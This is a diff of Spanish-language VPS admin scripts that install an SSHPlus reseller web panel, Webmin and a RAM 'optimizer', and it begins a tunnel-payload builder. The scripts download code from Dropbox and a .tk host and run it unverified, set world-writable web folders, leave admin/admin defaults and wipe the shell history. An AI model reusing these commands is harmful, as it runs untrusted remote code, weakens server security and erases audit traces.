+done +echo -e "\033[1;33m]\033[1;37m -\033[1;32m OK !\033[1;37m" +tput cnorm +} +echo -e "\033[0m\e[31m======================================================\033[1;37m" +echo -e "\033[0m\e[36m Optimizar Servidor " +echo -e "\033[0m\e[31m======================================================\033[1;37m" +echo "" +# +echo -e "\033[1;32m Actualizando servicios\033[0m" +echo "" +fun_bar 'apt-get update -y' 'apt-get upgrade -y' +echo "" +echo -e "\033[1;32m Corrigiendo problemas de dependencias" +echo"" +fun_bar 'apt-get -f install' +# Corregir problemas de dependencias, concluir instalacion de paquetes pendientes otros errores +echo"" +echo -e "\033[1;32m Removendo paquetes inútiles" +echo "" +fun_bar 'apt-get autoremove -y' 'apt-get autoclean -y' +# Eliminar paquetes instalados automaticamente que no tengas utilizado para el sistema +# Eliminar paquetes antigous o duplicados +echo "" +# Eliminar archivos inútiles del cache, donde registra las cópias de actualizaciones que entan instaladas pero del gerenciador de paquetes + +echo -e "\033[1;32m Removendo paquetes con problemas" +echo "" +fun_bar 'apt-get -f remove -y' 'apt-get clean -y' +#Remover paquetes con problemas +#Limpar cache de la memoria RAM +clear +echo -e "\033[0m\e[31m======================================================\033[1;37m" +echo "" +MEM1=`free|awk '/Mem:/ {print int(100*$3/$2)}'` +ram1=$(free -h | grep -i mem | awk {'print $2'}) +ram2=$(free -h | grep -i mem | awk {'print $4'}) +ram3=$(free -h | grep -i mem | awk {'print $3'}) +swap1=$(free -h | grep -i swap | awk {'print $2'}) +swap2=$(free -h | grep -i swap | awk {'print $4'}) +swap3=$(free -h | grep -i swap | awk {'print $3'}) + +echo -e "\033[1;31m•\033[1;32mMemoria RAM\033[1;31m•\033[0m \033[1;31m•\033[1;32mSwap\033[1;31m•\033[0m" +echo -e " \033[1;33mTotal: \033[1;37m$ram1 \033[1;33mTotal: \033[1;37m$swap1" +echo -e " \033[1;33mEn Uso: \033[1;37m$ram3 \033[1;33mEn Uso: \033[1;37m$swap3" +echo -e " \033[1;33mLibre: \033[1;37m$ram2 \033[1;33mLibre: \033[1;37m$swap2\033[0m" +echo "" +echo -e "\033[1;37mMemória \033[1;32mRAM \033[1;37mAntes de Otimizacion:\033[1;36m" $MEM1% +echo "" +echo -e "\033[0m\e[31m======================================================\033[1;37m" +sleep 3 +echo "" +fun_limpram () { +sync +echo 3 > /proc/sys/vm/drop_caches +sleep 4 +sync && sysctl -w vm.drop_caches=3 +sysctl -w vm.drop_caches=0 +swapoff -a +swapon -a +sleep 4 +} +function aguarde { +sleep 1 +helice () +{ + fun_limpram > /dev/null 2>&1 & + tput civis + while [ -d /proc/$! ] + do + for i in / - \\ \| + do + sleep .1 + echo -ne "\e[1D$i" + done + done + tput cnorm +} +echo -ne "\033[1;37mLIMPANDO MEMORIA \033[1;32mRAM \033[1;37me \033[1;32mSWAP\033[1;32m.\033[1;33m.\033[1;31m. \033[1;33m" +helice +echo -e "\e[1DOk" +} +aguarde +sleep 1.5s +clear +echo -e "\033[0m\e[31m======================================================\033[1;37m" +echo "" +MEM2=`free|awk '/Mem:/ {print int(100*$3/$2)}'` +ram1=$(free -h | grep -i mem | awk {'print $2'}) +ram2=$(free -h | grep -i mem | awk {'print $4'}) +ram3=$(free -h | grep -i mem | awk {'print $3'}) +swap1=$(free -h | grep -i swap | awk {'print $2'}) +swap2=$(free -h | grep -i swap | awk {'print $4'}) +swap3=$(free -h | grep -i swap | awk {'print $3'}) + +echo -e "\033[1;31m•\033[1;32mMemoria RAM\033[1;31m•\033[0m \033[1;31m•\033[1;32mSwap\033[1;31m•\033[0m" +echo -e " \033[1;33mTotal: \033[1;37m$ram1 \033[1;33mTotal: \033[1;37m$swap1" +echo -e " \033[1;33mEn Uso: \033[1;37m$ram3 \033[1;33mEn Uso: \033[1;37m$swap3" +echo -e " \033[1;33mLibre: \033[1;37m$ram2 \033[1;33mLibre: \033[1;37m$swap2\033[0m" +echo "" +echo -e "\033[1;37mMemória \033[1;32mRAM \033[1;37mahora en la Otimizacion:\033[1;36m" $MEM2% +echo "" +echo -e "\033[1;37mEconomia de :\033[1;31m `expr $MEM1 - $MEM2`%\033[0m" + +echo -e "\033[0m\e[31m======================================================\033[1;37m" diff --git a/ADM-VENTAS-LEALDROID/request/painel.zip b/ADM-VENTAS-LEALDROID/request/painel.zip new file mode 100644 index 0000000..94fc0d6 Binary files /dev/null and b/ADM-VENTAS-LEALDROID/request/painel.zip differ diff --git a/ADM-VENTAS-LEALDROID/request/panelweb.sh b/ADM-VENTAS-LEALDROID/request/panelweb.sh new file mode 100644 index 0000000..e13ae3b --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/panelweb.sh @@ -0,0 +1,548 @@ +#!/bin/bash +Block="/etc/bin" && [[ ! -d ${Block} ]] && exit +Block > /dev/null 2>&1 + +SCPdir="/etc/newadm" +SCPusr="${SCPdir}/ger-user" +SCPfrm="/etc/ger-frm" +SCPfrm3="/etc/adm-lite" +SCPinst="/etc/ger-inst" +SCPidioma="${SCPdir}/idioma" + + +red=$(tput setaf 1) +gren=$(tput setaf 2) +yellow=$(tput setaf 3) + +pid_inst () { +[[ $1 = "" ]] && echo -e "\033[1;31m[off]" && return 0 +unset portas +portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN") +i=0 +while read port; do +var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}') +[[ "$(echo -e ${portas[@]}|grep "$var1 $var2")" ]] || { + portas[$i]="$var1 $var2\n" + let i++ + } +done <<< "$portas_var" +[[ $(echo "${portas[@]}"|grep "$1") ]] && echo -e "\033[1;32m[on]" || echo -e "\033[1;31m[off]" +} + +#Screen +[[ ! -e /usr/bin/trans ]] && { +echo -e "Piratear es muy feo, toma vergüenza en la cara" +echo -e "Di duro para llegar hasta aquí, Muchas noches sin dormir" +echo -e "Adquiere un Serial y Ayuda al desarrollador" +} +SCPdir="/etc/newadm" && [[ ! -d ${SCPdir} ]] && exit 1 +SCPusr="${SCPdir}/ger-user" && [[ ! -d ${SCPusr} ]] && mkdir ${SCPusr} +SCPfrm="/etc/ger-frm" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm} +SCPinst="/etc/ger-inst" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm} +SCPidioma="${SCPdir}/idioma" +if [[ -e /etc/bash.bashrc-bakup ]]; then AutoRun="\033[1;32m[on]" +elif [[ -e /etc/bash.bashrc ]]; then AutoRun="\033[1;31m[off]" +fi +# Funcoes Globais +msg () { +local colors="/etc/new-adm-color" +if [[ ! -e $colors ]]; then +COLOR[0]='\033[1;37m' #BRAN='\033[1;37m' +COLOR[1]='\e[31m' #VERMELHO='\e[31m' +COLOR[2]='\e[32m' #VERDE='\e[32m' +COLOR[3]='\e[33m' #AMARELO='\e[33m' +COLOR[4]='\e[34m' #AZUL='\e[34m' +COLOR[5]='\e[35m' #MAGENTA='\e[35m' +COLOR[6]='\033[1;36m' #MAG='\033[1;36m' +COLOR[7]='\033[1;34m' #AZULR='\033[1;34m' +COLOR[8]='\e[0;31m' #rojoc='\e[0;31m' +else +local COL=0 +for number in $(cat $colors); do +case $number in +1)COLOR[$COL]='\033[1;37m';; +2)COLOR[$COL]='\e[31m';; +3)COLOR[$COL]='\e[32m';; +4)COLOR[$COL]='\e[33m';; +5)COLOR[$COL]='\e[34m';; +6)COLOR[$COL]='\e[35m';; +7)COLOR[$COL]='\033[1;36m';; +8)COLOR[$COL]='\033[1;34m';; +9)COLOR[$COL]='\033[0;31m';; +esac +let COL++ +done +fi +NEGRITO='\e[1m' +SEMCOR='\e[0m' + case $1 in + -ne)cor="${COLOR[1]}${NEGRITO}" && echo -ne "${cor}${2}${SEMCOR}";; + -ama)cor="${COLOR[3]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -verm)cor="${COLOR[3]}${NEGRITO}[!] ${COLOR[1]}" && echo -e "${cor}${2}${SEMCOR}";; + -verm2)cor="${COLOR[1]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -azu)cor="${COLOR[6]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -verd)cor="${COLOR[2]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -bra)cor="${COLOR[0]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + "-bar2"|"-bar")cor="\e[1;30m=-=-=-=-=-=-=-==-=-=-=--=-==-=-=-=-=-=-=-==-=-=-=--=-==-=-=-=-=-=-=-=\e[0m" && echo -e "${SEMCOR}${cor}${SEMCOR}";; + -azuc)cor="${COLOR[7]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -rojoc)cor="${COLOR[8]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; +esac +} +canbio_color () { +msg -ama "$(fun_trans "Hola, este es el Administrador de Colores") \033[1;31m[ NEW - ULTIMATE - SCRIPT ] \033[1;33m[\033[1;34m ANONYMOUS \033[1;33m]" +msg -bar2 +msg -ama "$(fun_trans "Selecciona 7 colores"): " +echo -e '\033[1;37m [1] ###\033[0m' +echo -e '\e[31m [2] ###\033[0m' +echo -e '\e[32m [3] ###\033[0m' +echo -e '\e[33m [4] ###\033[0m' +echo -e '\e[34m [5] ###\033[0m' +echo -e '\e[35m [6] ###\033[0m' +echo -e '\033[1;36m [7] ###\033[0m' +msg -bar2 +for number in $(echo {1..7}); do +msg -ne "$(fun_trans "Introduzca el color") [$number]: " && read corselect +[[ $corselect != @([1-7]) ]] && corselect=1 +cores+="$corselect " +corselect=0 +done +echo "$cores" > /etc/new-adm-color +msg -bar2 +} + +menu_func () { +local options=${#@} +local array +for((num=1; num<=$options; num++)); do +echo -ne "$(msg -verd "[$num]") $(msg -verm2 ">") " + array=(${!num}) + case ${array[0]} in + "-vd")msg -verd "$(fun_trans "${array[@]:1}")" | sed ':a;N;$!ba;s/\n/ /g';; + "-vm")msg -verm2 "$(fun_trans "${array[@]:1}")" | sed ':a;N;$!ba;s/\n/ /g';; + "-azc")msg -azuc "$(fun_trans "${array[@]:1}")" | sed ':a;N;$!ba;s/\n/ /g';; + "-rc")msg -rojoc "$(fun_trans "${array[@]:1}")" | sed ':a;N;$!ba;s/\n/ /g';; + "-am")msg -ama "$(fun_trans "${array[@]:1}")" | sed ':a;N;$!ba;s/\n/ /g';; + "-bl")msg -bra "$(fun_trans "${array[@]:1}")" | sed ':a;N;$!ba;s/\n/ /g';; + "-fi")msg -azu "$(fun_trans "${array[@]:2}") ${array[1]}" | sed ':a;N;$!ba;s/\n/ /g';; + *)msg -azu "$(fun_trans "${array[@]}")" | sed ':a;N;$!ba;s/\n/ /g';; + esac +done +} + +selection_fun () { +local selection="null" +local range +for((i=0; i<=$1; i++)); do range[$i]="$i "; done +while [[ ! $(echo ${range[*]}|grep -w "$selection") ]]; do +echo -ne "\033[1;37m$(fun_trans "Selecione una Opcion"): " >&2 +read selection +tput cuu1 >&2 && tput dl1 >&2 +done +echo $selection +} + +fun_trans () { +local texto +local retorno +declare -A texto +SCPidioma="${SCPdir}/idioma" +[[ ! -e ${SCPidioma} ]] && touch ${SCPidioma} +local LINGUAGE=$(cat ${SCPidioma}) +[[ -z $LINGUAGE ]] && LINGUAGE=es +[[ $LINGUAGE = "es" ]] && echo "$@" && return +[[ ! -e /usr/bin/trans ]] && wget -O /usr/bin/trans https://www.dropbox.com/s/l6iqf5xjtjmpdx5/trans?dl=0 &> /dev/null +[[ ! -e /etc/texto-adm ]] && touch /etc/texto-adm +source /etc/texto-adm +if [[ -z "$(echo ${texto[$@]})" ]]; then +#ENGINES=(aspell google deepl bing spell hunspell apertium yandex) +#NUM="$(($RANDOM%${#ENGINES[@]}))" +retorno="$(source trans -e bing -b es:${LINGUAGE} "$@"|sed -e 's/[^a-z0-9 -]//ig' 2>/dev/null)" +echo "texto[$@]='$retorno'" >> /etc/texto-adm +echo "$retorno" +else +echo "${texto[$@]}" +fi +} + +panel_v10 () { +clear +IP=$(wget -qO- ipv4.icanhazip.com) +echo "America/Mexico_City" > /etc/timezone +ln -fs /usr/share/zoneinfo/America/Mexico_City /etc/localtime > /dev/null 2>&1 +dpkg-reconfigure --frontend noninteractive tzdata > /dev/null 2>&1 +clear +echo -e "\E[44;1;37m PAINEL SSHPLUS v10 \E[0m" +echo "" +echo -e " \033[1;31mATENCION" +echo "" +echo -e "\033[1;32mINFORME SIEMPRE LA MISMA CONTRASENA" +echo -e "\033[1;32mSIEMPRE CONFIRME LAS PREGUNTAS CON \033[1;37m Y" +echo "" +echo -e "\033[1;36mINICIANDO INSTALACION" +echo "" +echo -e "\033[1;33mESPERE..." +apt-get update > /dev/null 2>&1 +echo "" +echo -e "\033[1;36mINSTALANDO APACHE2\033[0m" +echo "" +echo -e "\033[1;33mESPERE..." +apt-get install apache2 -y > /dev/null 2>&1 +apt-get install cron curl unzip -y > /dev/null 2>&1 +echo "" +echo -e "\033[1;36mINSTALANDO DEPENDENCIAS\033[0m" +echo "" +echo -e "\033[1;33mESPERE..." +apt-get install php5 libapache2-mod-php5 php5-mcrypt -y > /dev/null 2>&1 +service apache2 restart +echo "" +echo -e "\033[1;36mINSTALANDO MySQL\033[0m" +echo "" +sleep 1 +apt-get install mysql-server -y +echo "" +clear +echo -e " \033[1;31mATENCION" +echo "" +echo -e "\033[1;32mINFORME SIEMPRE LA MISMA PASS CADA QUE SE LE SOLICITE" +echo -e "\033[1;32mSIEMPRE CONFIRME LAS PREGUNTAS CON \033[1;37m Y" +echo "" +echo -ne "\033[1;33mEnter, Para Continuar!\033[1;37m"; read +mysql_install_db +mysql_secure_installation +clear +echo -e "\033[1;36mINSTALANDO PHPMYADMIN\033[0m" +echo "" +echo -e "\033[1;31mATENCION \033[1;33m!!!" +echo "" +echo -e "\033[1;32mSELECIONE LA OPCION \033[1;31mAPACHE2 \033[1;32mCON LA TECLA '\033[1;33mENTER\033[1;32m'" +echo "" +echo -e "\033[1;32mSELECIONE \033[1;31mYES\033[1;32m EN LA SIGUIENTE OPCION (\033[1;36mdbconfig-common\033[1;32m)" +echo -e "PARA CONFIGURAR LA BASE DE DATOS" +echo "" +echo -e "\033[1;32mSIEMPRE INTRODUZCA LA MISMA CONTRASENA" +echo "" +echo -ne "\033[1;33mEnter, Para Continuar!\033[1;37m"; read +apt-get install phpmyadmin -y +php5enmod mcrypt +service apache2 restart +ln -s /usr/share/phpmyadmin /var/www/html/phpmyadmin +apt-get install libssh2-1-dev libssh2-php -y > /dev/null 2>&1 +apt-get install php5-curl > /dev/null 2>&1 +service apache2 restart +clear +echo "" +echo -e "\033[1;31mATENCION \033[1;33m!!!" +echo "" +echo -ne "\033[1;32mINTRODUZCA LA MISMA CONTRASENA\033[1;37m: "; read senha +echo -e "\033[1;32mOK\033[1;37m" +sleep 1 +mysql -h localhost -u root -p$senha -e "CREATE DATABASE plus" +clear +echo -e "\033[1;36mFINALIZANDO INSTALACION\033[0m" +echo "" +echo -e "\033[1;33mAGUARDE..." +echo "" +cd /var/www/html +wget https://www.dropbox.com/s/wcc3wdx49ep06mk/painel10.zip > /dev/null 2>&1 +sleep 1 +unzip painel10.zip > /dev/null 2>&1 +rm -rf painel10.zip index.html > /dev/null 2>&1 +service apache2 restart +sleep 1 +if [[ -e "/var/www/html/pages/system/pass.php" ]]; then +sed -i "s;suasenha;$senha;g" /var/www/html/pages/system/pass.php > /dev/null 2>&1 +fi +sleep 1 +cd +wget https://www.dropbox.com/s/5c6qnsj7nxqy9q8/plus.sql > /dev/null 2>&1 +sleep 1 +if [[ -e "$HOME/plus.sql" ]]; then + mysql -h localhost -u root -p$senha --default_character_set utf8 plus < plus.sql + rm /root/plus.sql +else + clear + echo -e "\033[1;31mERROR AL IMPORTAR BASE DE DATOS\033[0m" + sleep 2 + exit +fi +echo '* * * * * root /usr/bin/php /var/www/html/pages/system/cron.php' >> /etc/crontab +echo '* * * * * root /usr/bin/php /var/www/html/pages/system/cron.ssh.php ' >> /etc/crontab +echo '* * * * * root /usr/bin/php /var/www/html/pages/system/cron.sms.php' >> /etc/crontab +echo '* * * * * root /usr/bin/php /var/www/html/pages/system/cron.online.ssh.php' >> /etc/crontab +echo '10 * * * * root /usr/bin/php /var/www/html/pages/system/cron.servidor.php' >> /etc/crontab +/etc/init.d/cron reload > /dev/null 2>&1 +/etc/init.d/cron restart > /dev/null 2>&1 +chmod 777 /var/www/html/admin/pages/servidor/ovpn +chmod 777 /var/www/html/admin/pages/download +chmod 777 /var/www/html/admin/pages/faturas/comprovantes +service apache2 restart +sleep 1 +clear +echo -e "\033[1;32mPANEL INSTALADO CON EXITO!" +echo "" +echo -e "\033[1;36mLINK AREA DE ADMIN:\033[1;37m $IP:81/admin\033[0m" +echo -e "\033[1;36mLINK AREA DE REVENDEDOR: \033[1;37m $IP:81\033[0m" +echo -e "\033[1;36mUSUARIO\033[1;37m admin\033[0m" +echo -e "\033[1;36mCONTRASENA\033[1;37m admin\033[0m" +echo "" + +echo -e "\033[1;36mINGRESE ESTE ENLACE EN LA VPS QUE SERA SERVIDOR\033[0m" +echo -e "\033[1;37mwget http://ssh-plus.tk/revenda/confpainel/inst > /dev/null 2>&1; bash inst\033[0m" + + +echo -e "\033[1;33mCambie la contrasena una vez entrando al panel\033[0m" +cat /dev/null > ~/.bash_history && history -c +} + +panel_v11 () { +clear +IP=$(wget -qO- ipv4.icanhazip.com) +link="seu-ip" +cor="\e[1;30m=-=-=-=-=-=-=-==-=-=-=--=-==-=-=-=-=-=-=-==-=-=-=--=-==-=-=-=-=-=-=-=\e[0m" +cor2="\033[0;31m--------------------------------------------------------------------\033[0m" +dnk=@anonymous + +echo -e "\e[1;34;47m########################################################" +echo -e "\e[1;34;47m# _____ _____ _____ _____ _ ${dnk}#" +echo -e "\e[1;34;47m# | __| __| | | _ | |_ _ ___ #" +echo -e "\e[1;34;47m# |__ |__ | | __| | | |_ -| #" +echo -e "\e[1;34;47m# |_____|_____|__|__|__| |_|___|___| #" +echo -e "\e[1;34;47m# #" +echo -e "\e[1;34;47m# **************************************************** #" +echo -e "\e[1;30;47m# Este script funciona para administrar la vps desde #" +echo -e "\e[1;30;47m# Un panel web,Podras crear revendedores,Cuentas ssh, #" +echo -e "\e[1;30;47m# Dandole acceso alos vendedores atu vps para que #" +echo -e "\e[1;30;47m# Administren desde un panel de revendedor........ #" +echo -e "\e[1;34;47m# #" +echo -e "\e[1;34;47m# NOTA: #" +echo -e "\e[1;34;47m# Los usuarios solo aparecen en linea en el panel con #" +echo -e "\e[1;34;47m# el puerto (OpenSSH,SSL,SQUID,OPENVPN) solo con #" +echo -e "\e[1;34;47m# el puerto DROPBEAR no marca los usuarios en linea #" +echo -e "\e[1;34;47m# #" +echo -e "\e[1;34;47m########################################################\033[0m" +echo -e "$cor" +echo "" +echo -e "\e[1;37;44m# PANEL SSHPLUS WEB #\033[0m" +echo -e "$cor" +echo "" +echo -ne "\033[1;32mINTRODUZCA UNA CONTRASENA\033[1;37m: "; read senha +echo -e "$cor" +if [[ -z $senha ]]; then +echo -e "\n\033[1;31mCONTRASENA VACIA\033[0m" +sleep 2; clear; exit +fi +echo "America/Mexico_City" > /etc/timezone +ln -fs /usr/share/zoneinfo/America/Mexico_City /etc/localtime > /dev/null 2>&1 +dpkg-reconfigure --frontend noninteractive tzdata > /dev/null 2>&1 +echo -e "\n\033[1;36mINICIANDO INSTALACION" +echo -e "$cor" +echo "" +echo -e "\033[1;33mESPERE..." +echo -e "$cor" +echo "" +apt-get update -y > /dev/null 2>&1 +echo -e "\033[1;36mINSTALANDO APACHE2\033[0m" +echo -e "$cor" +echo "" +echo -e "\033[1;33mESPERE..." +echo -e "$cor" +echo "" +apt-get install apache2 -y > /dev/null 2>&1 +apt-get install cron curl unzip -y > /dev/null 2>&1 +echo -e "\033[1;36mINSTALANDO DEPENDENCIAS\033[0m" +echo -e "$cor" +echo "" +echo -e "\033[1;33mESPERE..." +echo -e "$cor" +echo "" +apt-get install php5 libapache2-mod-php5 php5-mcrypt -y > /dev/null 2>&1 +service apache2 restart > /dev/null 2>&1 +echo -e "\033[1;36mINSTALANDO MySQL\033[0m" +echo -e "$cor" +echo "" +echo -e "\n\033[1;33mESPERE..." +echo -e "$cor" +sleep 1 +echo "debconf mysql-server/root_password password $senha" | debconf-set-selections +echo "debconf mysql-server/root_password_again password $senha" | debconf-set-selections +apt-get install mysql-server -y > /dev/null 2>&1 +mysql_install_db > /dev/null 2>&1 +(echo $senha; echo n; echo y; echo y; echo y; echo y)|mysql_secure_installation > /dev/null 2>&1 +echo -e "\n\033[1;36mINSTALANDO PHPMYADMIN\033[0m" +echo -e "$cor" +echo "" +echo -e "\n\033[1;33mESPERE..." +echo -e "$cor" +echo "" +echo "phpmyadmin phpmyadmin/dbconfig-install boolean true" | debconf-set-selections +echo "phpmyadmin phpmyadmin/app-password-confirm password $senha" | debconf-set-selections +echo "phpmyadmin phpmyadmin/mysql/admin-pass password $senha" | debconf-set-selections +echo "phpmyadmin phpmyadmin/mysql/app-pass password $senha" | debconf-set-selections +echo "phpmyadmin phpmyadmin/reconfigure-webserver multiselect apache2" | debconf-set-selections +apt-get install phpmyadmin -y > /dev/null 2>&1 +php5enmod mcrypt > /dev/null 2>&1 +service apache2 restart > /dev/null 2>&1 +ln -s /usr/share/phpmyadmin /var/www/html/phpmyadmin +apt-get install libssh2-1-dev libssh2-php -y > /dev/null 2>&1 +apt-get install php-ssh2 > /dev/null 2>&1 +if [ "$(php -m |grep ssh2)" != "ssh2" ]; then + clear + echo -e "\033[1;31mERROR CRITICO\033[0m" + #rm $HOME/install + exit +fi +apt-get install php5-curl > /dev/null 2>&1 +service apache2 restart > /dev/null 2>&1 +mysql -h localhost -u root -p$senha -e "CREATE DATABASE sshplus" +clear +echo -e "\033[1;36mFINALIZANDO INSTALACION\033[0m" +echo -e "$cor" +echo -e "\033[1;33mESPERE..." +echo -e "$cor" +cd /var/www/html +wget https://www.dropbox.com/s/ejwek9i5hbzc2by/PAINELWEB1.zip > /dev/null 2>&1 +unzip PAINELWEB1.zip > /dev/null 2>&1 +sleep 1 +rm -rf PAINELWEB1.zip index.html > /dev/null 2>&1 +service apache2 restart > /dev/null 2>&1 +if [[ -e "/var/www/html/pages/system/pass.php" ]]; then +sed -i "s;suasenha;$senha;g" /var/www/html/pages/system/pass.php > /dev/null 2>&1 +fi +mysql -h localhost -u root -p$senha --default_character_set utf8 sshplus < sshplus.sql +sleep 1 +rm sshplus.sql > /dev/null 2>&1 +(crontab -l 2>/dev/null; echo -e "* * * * * /usr/bin/php /var/www/html/pages/system/cron.online.ssh.php\n*/1 * * * * /usr/bin/php /var/www/html/pages/system/cron.ssh.php\n0 */1 * * * /usr/bin/php /var/www/html/pages/system/hist.online.php\n0 */2 * * * /usr/bin/php /var/www/html/pages/system/cron.php\n0 */3 * * * /usr/bin/php /var/www/html/pages/system/cron.servidor.php") | crontab - +/etc/init.d/cron reload > /dev/null 2>&1 +/etc/init.d/cron restart > /dev/null 2>&1 +chmod 777 /var/www/html/admin/pages/servidor/ovpn +chmod 777 /var/www/html/admin/pages/download +chmod 777 /var/www/html/admin/pages/faturas/comprovantes +service apache2 restart > /dev/null 2>&1 +/etc/init.d/mysql restart > /dev/null 2>&1 +sed -i '26i\header("Content-Type: application/download");' /var/www/html/pages/downloads/baixar.php +clear +echo -e "\033[1;32mPAINEL INSTALADO CON EXITO!" +echo -e "$cor" +echo -e "\033[1;36mSU PAINEL\033[1;37m $IP:81/admin\033[0m" +echo -e "$cor2" +echo -e "\033[1;36mUSUARIO\033[1;37m admin\033[0m" +echo -e "$cor2" +echo -e "\033[1;36mCONTRASENA\033[1;37m admin\033[0m" +echo -e "$cor2" +echo -e "$cor" +echo -e "\033[1;33mCambie la contrasena al iniciar sesion en el panel\033[0m" +cat /dev/null > ~/.bash_history && history -c +rm /root/install > /dev/null 2>&1 +} + +del_panel () { +clear +echo -e "$barra" +echo -e "\033[1;32m SIEMPRE CONFIRME LAS PREGUNTAS CON LA LETRA \033[1;37m Y " +echo -e "\033[1;32m PRESIONE ENTER PARA CONFIRMAR \033[1;37mENTER" +echo -e "$cor" +sudo apt-get purge mysql-server mysql-client mysql-common mysql-server-core-* mysql-client-core-* +sudo rm -rf /etc/mysql /var/lib/mysql +sudo apt-get autoremove +sudo apt-get autoclean +sudo rm -rf /var/www/html +mkdir /var/www/html +echo -e "$cor" +echo -e "\033[1;36mPANEL SSHPLUS ELIMINADO CON EXITO \033[1;32m[!OK]" +echo -e "$cor" +} + + +webmin () { +BARRA1="\e[1;30m=-=-=-=-=-=-=-==-=-=-=--=-==-=-=-=-=-=-=-==-=-=-=--=-==-=-=-=-=-=-=-=\e[0m" +BARRA="\e[0;31m--------------------------------------------------------------------\e[0m" +meu_ip () { +if [[ -e /etc/MEUIPADM ]]; then +echo "$(cat /etc/MEUIPADM)" +else +MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1) +MEU_IP2=$(wget -qO- ipv4.icanhazip.com) +[[ "$MEU_IP" != "$MEU_IP2" ]] && echo "$MEU_IP2" || echo "$MEU_IP" +echo "$MEU_IP2" > /etc/MEUIPADM +fi +} +IP="$(meu_ip)" +menu () +{ + +clear +tput setaf 7 ; tput setab 4 ; tput bold ; printf '%30s%s%-10s\n' "Webmin Install" ; tput sgr0 ; echo "" +echo -e "$BARRA1" +echo "" +tput setaf 2 ; tput bold ; printf '%s' "[1]"; tput setaf 6 ; printf '%s' " Instalar WEBMIN" ; tput setaf 4 ; printf '%s' " = " ; tput setaf 7 ; echo "Iniciara la instalacion automatica del panel webmin" ; tput sgr0 ; +echo -e "$BARRA" +tput setaf 2 ; tput bold ; printf '%s' "[2]"; tput setaf 6 ; printf '%s' " Eliminar WEBMIN" ; tput setaf 4 ; printf '%s' " = " ; tput setaf 7 ; echo "Iniciara la eliminacion automatica del panel webmin" ; tput sgr0 ; +echo -e "$BARRA" +tput setaf 2 ; tput bold ; printf '%s' "[0]"; tput setaf 6 ; printf '%s' " Salir" ; tput setaf 4 ; printf '%s' " = " ; tput setaf 7 ; echo "Regresar al menu" ; tput sgr0 ; +echo -e "$BARRA" +tput setaf 7 ; tput setab 4 ; tput bold ; printf '%30s%s%-10s\n' "Selecione una opcion" ; tput sgr0 ; echo "" +echo -e "$BARRA1" +read -p "Introduzca un numero: " opcao + +case $opcao in + 1) installwebmin ;; + 2) removewebmin ;; + 0) exit ;; +esac + +} + +installwebmin() +{ +clear +tput setaf 7 ; tput setab 4 ; tput bold ; printf '%30s%s%-10s\n' "Iniciando instalacion" ; tput sgr0 ; echo "" +mkdir webmininstall +cd webmininstall +wget http://prdownloads.sourceforge.net/webadmin/webmin_1.831_all.deb +dpkg -i webmin_1.831_all.deb +apt-get -f install +rm -R webmin_1.831_all.deb +cd $USER +rm -R webmininstall +clear +tput setaf 7 ; tput setab 4 ; tput bold ; printf '%30s%s%-10s\n' "Instalacion Completa para acceder" ; tput sgr0 +echo -e "$BARRA" +tput setaf 7 ; tput setab 4 ; tput bold ; printf '%30s%s%-10s\n' "Al panel Webmin pegue en su navegador" ; tput sgr0 +echo -e "$BARRA" +tput setaf 7 ; tput setab 4 ; tput bold ; printf '%30s%s%-10s\n' "https://$IP:10000" ; tput sgr0 +echo -e "$BARRA" +tput setaf 7 ; tput setab 4 ; tput bold ; printf '%30s%s%-10s\n' "Y deve logearse con usuario root y contrasena" ; tput sgr0 +echo -e "$BARRA" +tput setaf 7 ; tput setab 4 ; tput bold ; printf '%30s%s%-10s\n' "de su servidor VPS" ; tput sgr0 +echo -e "$BARRA" +tput setaf 7 ; tput setab 4 ; tput bold ; printf '%30s%s%-10s\n' "Si se produce un error de seguridad en el navegador," ; tput sgr0 +echo -e "$BARRA" +tput setaf 7 ; tput setab 4 ; tput bold ; printf '%30s%s%-10s\n' "de en opciones avanzadas y en continuar de todos modos" ; tput sgr0 +echo -e "$BARRA" +} + +removewebmin() { +clear +apt-get purge webmin -y +apt-get autoremove -y +tput setaf 7 ; tput setab 4 ; tput bold ; printf '%30s%s%-10s\n' "Eliminado con exito" ; tput sgr0 ; echo "" +} +menu +} + + + +msg -bar +menu_func "SSHPLUS V10" "SSHPLUS V11" "-vm Eliminar panel" "webmin" +echo -ne "$(msg -verd "[0]") $(msg -verm2 ">") " && msg -bra "SALIR DEL SCRIPT" +msg -bar +# FIM +selection=$(selection_fun 4) +case ${selection} in +1)panel_v10;; +2)panel_v11;; +3)del_panel;; +4)webmin;; +esac +msg -ne "$(fun_trans "Enter Para Continuar")" && read enter +${SCPdir}/menu \ No newline at end of file diff --git a/ADM-VENTAS-LEALDROID/request/paysnd.sh b/ADM-VENTAS-LEALDROID/request/paysnd.sh new file mode 100644 index 0000000..9f8114d --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/paysnd.sh @@ -0,0 +1,283 @@ +#!/bin/bash +construct_fun () { +payload="$1" +sed -i 's/.crlf]/\\r\\n&/g' ${payload} +sed -i "s/.crlf]//g" ${payload} +sed -i 's/.cr]/\\r&/g' ${payload} +sed -i "s/.cr]//g" ${payload} +sed -i 's/.lf]/\\n&/g' ${payload} +sed -i "s/.lf]//g" ${payload} +sed -i "s/.auth]//g" ${payload} +sed -i 's/.delay_split]/\\r\\n&/g' ${payload} +sed -i "s/.delay_split]//g" ${payload} +sed -i 's/.instant_split]/\\r\\n&/g' ${payload} +sed -i "s/.instant_split]//g" ${payload} +sed -i 's/.split]/\\r\\n&/g' ${payload} +sed -i 